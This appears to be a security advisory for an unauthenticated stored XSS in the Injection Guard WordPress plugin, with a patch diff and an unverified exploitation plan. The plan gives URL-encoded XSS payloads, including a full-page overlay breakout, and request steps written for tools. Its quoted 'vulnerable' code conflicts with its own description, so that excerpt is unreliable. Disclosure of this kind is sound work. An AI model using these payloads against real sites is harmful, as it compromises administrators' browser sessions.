CVE-2026-3368

Injection Guard <= 1.2.9 - Unauthenticated Stored Cross-Site Scripting via Query Parameter Name

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.3.0
Patched in
1d
Time to patch

Description

The Injection Guard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via malicious query parameter names in all versions up to and including 1.2.9. This is due to insufficient input sanitization in the sanitize_ig_data() function which only sanitizes array values but not array keys, combined with missing output escaping in the ig_settings.php template where stored parameter keys are echoed directly into HTML. When a request is made to the site, the plugin captures the query string via $_SERVER['QUERY_STRING'], applies esc_url_raw() (which preserves URL-encoded special characters like %22, %3E, %3C), then passes it to parse_str() which URL-decodes the string, resulting in decoded HTML/JavaScript in the array keys. These keys are stored via update_option('ig_requests_log') and later rendered without esc_html() or esc_attr() on the admin log page. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in the admin log page that execute whenever an administrator views the Injection Guard log interface.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.9
PublishedMarch 20, 2026
Last updatedMarch 20, 2026
Affected plugininjection-guard

What Changed in the Fix

Changes introduced in v1.3.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Detailed Exploitation Research Plan: CVE-2026-3368 ## 1. Vulnerability Summary **ID:** CVE-2026-3368 **Plugin:** Injection Guard (slug: `injection-guard`) **Affected Versions:** <= 1.2.9 **Vulnerability Type:** Unauthenticated Stored Cross-Site Scripting (XSS) via Query Parameter Name The Inject…

Show full research plan

Detailed Exploitation Research Plan: CVE-2026-3368

1. Vulnerability Summary

ID: CVE-2026-3368
Plugin: Injection Guard (slug: injection-guard)
Affected Versions: <= 1.2.9
Vulnerability Type: Unauthenticated Stored Cross-Site Scripting (XSS) via Query Parameter Name

The Injection Guard plugin automatically logs all unique query strings sent to the WordPress site to help administrators monitor potential "injection" attempts. The vulnerability exists because the plugin captures the raw $_SERVER['QUERY_STRING'], applies esc_url_raw() (which preserves URL-encoded characters), and then uses parse_str() to convert the string into an associative array.

In version 1.2.9 and below, the sanitize_ig_data() function—responsible for cleaning this array before storage—was found to sanitize only the array values and not the array keys. These unsanitized keys (which can contain arbitrary HTML and JavaScript) are stored in the ig_requests_log option in the database. When an administrator views the "Log" tab in the Injection Guard settings page (ig_settings.php), these keys are echoed directly into the HTML context without proper output escaping (esc_html or esc_attr), leading to script execution in the administrator's browser.

2. Attack Vector Analysis

  • Endpoint: Any public-facing URL on the WordPress site (e.g., /, /wp-login.php, or any post/page).
  • Hook: init (priority 1).
  • Vulnerable Parameter: Any query string parameter name (the key).
  • Authentication Level: Unauthenticated.
  • Preconditions: The plugin must be active. The logging functionality is enabled by default as part of the plugin's core purpose.

3. Code Flow

  1. Entry Point: A request is made to the WordPress site. The plugin, hooked to init via add_action('init', 'ig_start', 1); (in index.php), calls the ig_start() function (typically defined in functions.php).
  2. Data Capture: ig_start() instantiates the guard_wordpress class and calls update_log().
  3. Internal Logic: guard_wordpress::update_log() calls get_requests_log_updated() (defined in the parent class guard_plugins in guard.php).
  4. Processing:
    • The query string is retrieved: $this->query_string = isset($_SERVER['QUERY_STRING']) ? esc_url_raw($_SERVER['QUERY_STRING']) : '';.
    • The query string is parsed into an array: parse_str($this->query_string, $updated_log_temp);.
    • The keys from $updated_log_temp (the parameter names) are assigned to the $updated_log array.
  5. Storage Sink: The update_log() function then calls update_option('ig_requests_log', sanitize_ig_data($updated_log));.
  6. Vulnerable Sanitization: The sanitize_ig_data() function in guard.php (in versions <= 1.2.9) fails to apply sanitize_text_field() to the keys of the array, only to the values.
  7. Render Sink: When an admin visits wp-admin/options-general.php?page=ig_settings, the template ig_settings.php iterates through the log:
    foreach($params as $param_key => $param):
        // ...
        <input type="checkbox" ... value="<?php echo $param_key; ?>">
        <i class="fa fa-question-circle"></i> <?php echo $param_key; ?>
        // ...
    
    The $param_key is echoed without escaping, triggering the XSS.

4. Nonce Acquisition Strategy

No nonce is required for the unauthenticated part of this exploit. The logging mechanism is triggered automatically on the init hook for every request to the site, regardless of the user's authentication status or the presence of a CSRF token.

5. Exploitation Strategy

The goal is to inject a stored XSS payload into the admin log page.

Step 1: Inject the Payload

Send an unauthenticated HTTP GET request to the site root with a malicious query parameter name.

  • Payload: <img src=x onerror=alert(document.domain)>
  • URL Encoded Payload: %3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
  • Target URL: http://localhost:8080/?%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E=1

HTTP Request (via http_request tool):

{
  "method": "GET",
  "url": "http://localhost:8080/?%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E=1"
}

Step 2: Trigger the Execution

The administrator must log in and navigate to the plugin's settings page.

  1. Navigate to http://localhost:8080/wp-admin/options-general.php?page=ig_settings.
  2. Click on the Log tab (or check the HTML source, as the logs are rendered in a hidden tab by default).

6. Test Data Setup

  1. Plugin Installation: Ensure injection-guard version 1.2.9 or lower is installed and activated.
  2. Environment: No specific posts or pages are needed; the site root is sufficient.

7. Expected Results

  • Upon sending the malicious request, the plugin should store the key <img src=x onerror=alert(document.domain)> in the ig_requests_log option.
  • When the administrator views the settings page, the browser should execute alert(document.domain).
  • The HTML source of the settings page should contain the raw payload inside the ig_log_list <ul> element.

8. Verification Steps

After performing the HTTP request, use WP-CLI to verify the payload was successfully stored in the database:

wp option get ig_requests_log --format=json

Look for an entry where the key contains the <img ...> tag.

To verify the XSS via the browser:

  1. Log in as an administrator.
  2. Navigate to the plugin settings page.
  3. Use browser_eval to check for the presence of the payload in the DOM:
    document.body.innerHTML.includes('<img src=x onerror=alert(document.domain)>')
    

9. Alternative Approaches

If a simple tag injection is blocked by a WAF or browser filters, use an attribute breakout payload. This is effective because the key is echoed into the value attribute of an <input> tag in ig_settings.php.

Attribute Breakout Payload:
" onmouseover="alert(1)" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:999;"

URL for Injection:
/?%22%20onmouseover%3D%22alert(1)%22%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A999%3B%22=1

This creates a transparent overlay that triggers the alert as soon as the administrator moves their mouse over the page.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Injection Guard plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting because it fails to sanitize query parameter names (keys) before storing them in the database and subsequently fails to escape them during output in the admin log interface. This allows unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the plugin's logs.

Vulnerable Code

// guard.php
function sanitize_ig_data($input, $depth = 0) {
    if ($depth > 10) return null; // Prevent too deep recursion

    if (is_array($input)) {
        $new_input = array();
        foreach ($input as $key => $val) {
            $clean_key = sanitize_text_field($key);
            $new_input[$clean_key] = is_array($val) ? sanitize_ig_data($val, $depth + 1) : sanitize_text_field($val);
        }
    } else {
        // ... (sanitization of value)
    }

    return $new_input;
}

---

// ig_settings.php @ line 117
<input type="checkbox" data-uri="<?php echo $log_head; ?>" value="<?php echo $param_key; ?>">
<i class="fa fa-question-circle"></i> <?php echo $param_key; ?> | <?php echo date(get_option( 'date_format' , "F j, Y"), $param); ?>

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/injection-guard/1.2.9/guard.php /home/deploy/wp-safety.org/data/plugin-versions/injection-guard/1.3.0/guard.php
--- /home/deploy/wp-safety.org/data/plugin-versions/injection-guard/1.2.9/guard.php	2026-02-28 06:57:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/injection-guard/1.3.0/guard.php	2026-03-14 21:13:48.000000000 +0000
@@ -2,24 +2,52 @@
 
 		
 	function sanitize_ig_data($input, $depth = 0) {
-		if ($depth > 10) return null; // Prevent too deep recursion
+	
+		if ($depth > 10) {
+			return null; // prevent deep recursion
+		}
 	
 		if (is_array($input)) {
+	
 			$new_input = array();
+	
 			foreach ($input as $key => $val) {
-				$clean_key = sanitize_text_field($key);
-				$new_input[$clean_key] = is_array($val) ? sanitize_ig_data($val, $depth + 1) : sanitize_text_field($val);
+	
+				// sanitize array key
+				$clean_key = sanitize_key($key);
+	
+				// sanitize value
+				if (is_array($val)) {
+					$new_input[$clean_key] = sanitize_ig_data($val, $depth + 1);
+				} else {
+	
+					$val = sanitize_text_field(wp_unslash($val));
+	
+					if (is_email($val)) {
+						$val = sanitize_email($val);
+					}
+	
+					if (wp_http_validate_url($val)) {
+						$val = esc_url_raw($val);
+					}
+	
+					$new_input[$clean_key] = $val;
+				}
 			}
+	
 		} else {
-			$new_input = sanitize_text_field($input);
 	
-			if (is_email($new_input)) {
-				$new_input = sanitize_email($new_input);
+			$input = sanitize_text_field(wp_unslash($input));
+	
+			if (is_email($input)) {
+				$input = sanitize_email($input);
 			}
 	
-			if (wp_http_validate_url($new_input)) {
-				$new_input = esc_url_raw($new_input);
+			if (wp_http_validate_url($input)) {
+				$input = esc_url_raw($input);
 			}
+	
+			$new_input = $input;
 		}
 	
 		return $new_input;
@@ -51,7 +79,7 @@
 	public function init(){
 		$this->request = $_REQUEST;
 		$this->request_uri = isset($_SERVER['REQUEST_URI']) ? esc_url( $_SERVER['REQUEST_URI'] ) : '';
-		$this->query_string = isset($_SERVER['QUERY_STRING']) ? esc_url_raw($_SERVER['QUERY_STRING']) : '';
+		$this->query_string = isset($_SERVER['QUERY_STRING']) ? wp_unslash($_SERVER['QUERY_STRING']) : '';
 		$this->request_uri_cleaned = $this->cleaned_uri();
 	}
 	
@@ -97,6 +125,7 @@
 		$updated_log[$this->request_uri_cleaned] = is_array($updated_log[$this->request_uri_cleaned])?$updated_log[$this->request_uri_cleaned]:(array)$updated_log[$this->request_uri_cleaned];
 		
 		parse_str($this->query_string, $updated_log_temp);
+		$updated_log_temp = sanitize_ig_data($updated_log_temp);
 		$time = time();
 
 		// $rand = rand(0, 5);
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/injection-guard/1.2.9/ig_settings.php /home/deploy/wp-safety.org/data/plugin-versions/injection-guard/1.3.0/ig_settings.php
--- /home/deploy/wp-safety.org/data/plugin-versions/injection-guard/1.2.9/ig_settings.php	2026-02-28 06:57:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/injection-guard/1.3.0/ig_settings.php	2026-03-14 21:13:48.000000000 +0000
@@ -117,11 +117,11 @@
 												?>
 												<li>
 													<div class="ig_params">
-													<input type="checkbox" data-uri="<?php echo $log_head; ?>" value="<?php echo $param_key; ?>">
-													<i class="fa fa-question-circle"></i> <?php echo $param_key; ?> | <?php echo date(get_option( 'date_format' , "F j, Y"), $param); ?>
+													<input type="checkbox" data-uri="<?php echo esc_attr($log_head); ?>" value="<?php echo esc_attr($param_key); ?>">
+													<i class="fa fa-question-circle"></i> <?php echo esc_html($param_key); ?> | <?php echo date(get_option( 'date_format' , "F j, Y"), $param); ?>
 													</div>
 													
-													<div class="ig_actions" data-uri="<?php echo $log_head; ?>" data-val="<?php echo $param_key; ?>">
+													<div class="ig_actions" data-uri="<?php echo esc_attr($log_head); ?>" data-val="<?php echo esc_attr($param_key); ?>">

Exploit Outline

1. An unauthenticated attacker sends a GET request to any public URL on the site. 2. The request includes a malicious query parameter where the payload is in the parameter name (the key), such as `/?<img src=x onerror=alert(1)>=1`. 3. The plugin, hooked to 'init', captures the query string and uses `parse_str()` to decode the URL-encoded parameter name into a PHP array key. 4. The `sanitize_ig_data()` function fails to sanitize the keys of this array, allowing the raw HTML/JavaScript to remain. 5. The payload is stored in the WordPress database via `update_option('ig_requests_log', ...) `. 6. The vulnerability is triggered when a logged-in administrator visits the Injection Guard settings page (`wp-admin/options-general.php?page=ig_settings`) and views the 'Log' tab, where the malicious key is echoed into the HTML without escaping.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.